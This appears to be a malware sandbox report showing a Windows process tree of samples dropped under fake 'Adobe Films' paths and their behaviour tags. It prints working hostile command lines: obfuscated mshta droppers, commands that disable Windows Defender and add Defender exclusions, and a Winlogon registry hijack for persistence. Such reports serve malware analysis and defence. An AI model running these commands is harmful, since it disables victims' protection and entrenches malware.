- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2872
-
-
C:\Users\Admin\Pictures\Adobe Films\N4phlRmSOn13aOF7LX6J0osn.exe"C:\Users\Admin\Pictures\Adobe Films\N4phlRmSOn13aOF7LX6J0osn.exe"3⤵
- Executes dropped EXE
PID:3480 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3480 -s 3364⤵
- Program crash
PID:5672
-
-
-
C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe"C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe"3⤵
- Executes dropped EXE
PID:1812 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )4⤵PID:5156
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe" ) do taskkill -im "%~NxK" -F5⤵PID:5524
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP6⤵
- Executes dropped EXE
PID:6064 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵PID:5480
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F8⤵PID:6624
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )7⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:5672 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY8⤵PID:7520
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"9⤵PID:2108
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "9⤵PID:8108
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY9⤵
- Loads dropped DLL
PID:2104
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "KZWrNrUfQpue1da5aQf94oLP.exe" -F6⤵
- Kills process with taskkill
PID:1320
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\e10Jb2xCvxeAn7bjgKZPicoU.exe"C:\Users\Admin\Pictures\Adobe Films\e10Jb2xCvxeAn7bjgKZPicoU.exe"3⤵PID:1624
-
C:\Users\Admin\Pictures\Adobe Films\e10Jb2xCvxeAn7bjgKZPicoU.exe"C:\Users\Admin\Pictures\Adobe Films\e10Jb2xCvxeAn7bjgKZPicoU.exe"4⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
PID:5248
-
-
-
C:\Users\Admin\Pictures\Adobe Films\wbSFW6bY1yGkPijcb5mBLctC.exe"C:\Users\Admin\Pictures\Adobe Films\wbSFW6bY1yGkPijcb5mBLctC.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5432 -
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=14⤵
- Loads dropped DLL
- Adds Run key to start application
PID:5616 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"5⤵
- Loads dropped DLL
PID:5404 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7fffe9d5dec0,0x7fffe9d5ded0,0x7fffe9d5dee06⤵PID:7620
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff7d2e89e70,0x7ff7d2e89e80,0x7ff7d2e89e907⤵PID:8516
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1620,2201471579890345333,10540745210558617081,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5404_201314625" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1636 /prefetch:26⤵PID:7452
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1620,2201471579890345333,10540745210558617081,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5404_201314625" --mojo-platform-channel-handle=1392 /prefetch:86⤵PID:7804
-
-
-
-
-
-
C:\Windows\SysWOW64\cmmon32.exe"C:\Windows\SysWOW64\cmmon32.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:5344 -
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\Dc2cGIo8H66p8bqWXY8d5sy2.exe"3⤵PID:6112
-
-
-
C:\Users\Admin\AppData\Local\Temp\8F9A.exeC:\Users\Admin\AppData\Local\Temp\8F9A.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5480 -
C:\Users\Admin\AppData\Local\Temp\8F9A.exeC:\Users\Admin\AppData\Local\Temp\8F9A.exe3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1560
-
-
-
C:\Users\Admin\AppData\Local\Temp\354.exeC:\Users\Admin\AppData\Local\Temp\354.exe2⤵PID:6636
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6636 -s 2723⤵
- Program crash
PID:7552
-
-
-
C:\Users\Admin\AppData\Local\Temp\7856.exeC:\Users\Admin\AppData\Local\Temp\7856.exe2⤵PID:7884
-
-
C:\Users\Admin\AppData\Local\Temp\B34C.exeC:\Users\Admin\AppData\Local\Temp\B34C.exe2⤵PID:7832
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7832 -s 2723⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7004
-
-
-
C:\Users\Admin\AppData\Local\Temp\5E05.exeC:\Users\Admin\AppData\Local\Temp\5E05.exe2⤵
- Suspicious use of SetThreadContext
PID:6272 -
C:\Users\Admin\AppData\Local\Temp\5E05.exeC:\Users\Admin\AppData\Local\Temp\5E05.exe3⤵PID:3540
-
-
-
C:\Users\Admin\AppData\Local\Temp\B2E.exeC:\Users\Admin\AppData\Local\Temp\B2E.exe2⤵PID:2228
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5252
-
-
-
C:\Users\Admin\AppData\Local\Temp\F4C4.exeC:\Users\Admin\AppData\Local\Temp\F4C4.exe2⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:7552 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7552 -s 2843⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3528
-
-
-
C:\Users\Admin\AppData\Local\Temp\1165.exeC:\Users\Admin\AppData\Local\Temp\1165.exe2⤵PID:4524
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com3⤵PID:3564
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com3⤵PID:1280
-
-
-
C:\Users\Admin\AppData\Local\Temp\4026.exeC:\Users\Admin\AppData\Local\Temp\4026.exe2⤵PID:6892
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release3⤵PID:6284
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /release4⤵
- Gathers network information
PID:6320
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:8260
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:7472
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:1868
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:7896
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\51DB.exeC:\Users\Admin\AppData\Local\Temp\51DB.exe2⤵PID:2640
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"3⤵PID:8928
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"4⤵
- Modifies WinLogon for persistence
PID:6012
-
-
-
C:\Users\Admin\AppData\Local\chromedrlver.exe"C:\Users\Admin\AppData\Local\chromedrlver.exe"3⤵PID:6796
-
-
-
C:\Users\Admin\AppData\Local\Temp\80AC.exeC:\Users\Admin\AppData\Local\Temp\80AC.exe2⤵
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- System policy modification
PID:2936 -
C:\Users\Admin\AppData\Local\Temp\93e270dc-5ef7-4411-bdec-7d96c9d9bc69\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\93e270dc-5ef7-4411-bdec-7d96c9d9bc69\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\93e270dc-5ef7-4411-bdec-7d96c9d9bc69\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵PID:9092
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\93e270dc-5ef7-4411-bdec-7d96c9d9bc69\test.bat"4⤵PID:5132
-
C:\Windows\system32\sc.exesc stop windefend5⤵PID:2044
-
-
C:\Windows\system32\sc.exesc config windefend start= disabled5⤵PID:3052
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\c04ce0f1-1a6b-4e2c-a8f9-8a9448cac841\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\c04ce0f1-1a6b-4e2c-a8f9-8a9448cac841\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\c04ce0f1-1a6b-4e2c-a8f9-8a9448cac841\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵PID:9000
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c04ce0f1-1a6b-4e2c-a8f9-8a9448cac841\test.bat"4⤵PID:6524
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\80AC.exe" -Force3⤵PID:6536
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\80AC.exe" -Force3⤵PID:5424
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\80AC.exe" -Force3⤵PID:2480
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Executes dropped EXE
PID:6616
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵PID:4328
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵PID:5796
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\80AC.exe" -Force3⤵PID:456
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:6564
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"3⤵
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:7836 -
C:\Users\Admin\AppData\Local\Temp\7e0f59d1-7edb-4d07-a1a0-06e3d8ec8015\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\7e0f59d1-7edb-4d07-a1a0-06e3d8ec8015\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7e0f59d1-7edb-4d07-a1a0-06e3d8ec8015\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:1904 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7e0f59d1-7edb-4d07-a1a0-06e3d8ec8015\test.bat"5⤵PID:6376
-
C:\Windows\system32\sc.exesc stop windefend6⤵PID:8292
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\8742cee3-0007-4a4f-af99-03b6bbaa1f1f\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\8742cee3-0007-4a4f-af99-03b6bbaa1f1f\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\8742cee3-0007-4a4f-af99-03b6bbaa1f1f\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵PID:3716
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\8742cee3-0007-4a4f-af99-03b6bbaa1f1f\test.bat"5⤵PID:5940
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵PID:6068
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵PID:9096
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵PID:3896
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force4⤵PID:1204
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵PID:1764
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force4⤵PID:4736
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"4⤵PID:8436
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"4⤵PID:4860
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵PID:5492
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵PID:7808
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\80AC.exe" -Force3⤵PID:1344
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵PID:5936
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"3⤵PID:8180
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:2192
-
-
-
C:\Users\Admin\AppData\Local\Temp\B025.exeC:\Users\Admin\AppData\Local\Temp\B025.exe2⤵PID:7252
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7252 -s 4683⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5016
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7252 -s 4763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3424
-
-
-
C:\Users\Admin\AppData\Local\Temp\F339.exeC:\Users\Admin\AppData\Local\Temp\F339.exe2⤵PID:6376
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6376 -s 2763⤵
- Program crash
PID:4236
-
-
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 17993e8b3687ae87e4c0225af4524e3e ntmwIsluzUm1basLYVrQvg.0.1.0.3.01⤵
- Modifies data under HKEY_USERS
PID:1028
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\uus\AMD64\MoUsoCoreWorker.exeC:\Windows\uus\AMD64\MoUsoCoreWorker.exe2⤵PID:3380
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2644 -ip 26441⤵PID:5220
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3480 -ip 34801⤵PID:5248
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
PID:6136
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4616 -ip 46161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5536
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 2768 -ip 27681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5552
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 4620 -ip 46201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5892
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 4024 -ip 40241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3076
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 2696 -ip 26961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6120
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5008 -ip 50081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5412
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1432 -ip 14321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:932
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 1592 -ip 15921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4032
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 4820 -ip 48201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4124
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT1⤵
- Executes dropped EXE
PID:6440 -
C:\Users\Admin\AppData\Local\Temp\is-FON2R.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-FON2R.tmp\setup.tmp" /SL5="$40328,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:6712 -
C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart3⤵PID:6320
-
C:\955e3dc2d5855645f220d06c51c4\Setup.exeC:\955e3dc2d5855645f220d06c51c4\\Setup.exe /q /norestart /x86 /x64 /web4⤵
- Loads dropped DLL
- Checks processor information in registry
PID:6456
-
-
-
C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss13⤵
- Executes dropped EXE
PID:6240
-
-
C:\Users\Admin\AppData\Local\Temp\is-L3OKN.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-L3OKN.tmp\postback.exe" ss13⤵
- Executes dropped EXE
PID:6496
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 5028 -ip 50281⤵PID:5440
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 5884 -ip 58841⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7052
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
PID:2644
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 3620 -ip 36201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6600
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 6616 -ip 66161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4052
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 408 -p 4080 -ip 40801⤵PID:3644
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:4740
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1896 -ip 18961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6380
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4208 -ip 42081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3140
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 5952 -ip 59521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6172
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 6636 -ip 66361⤵
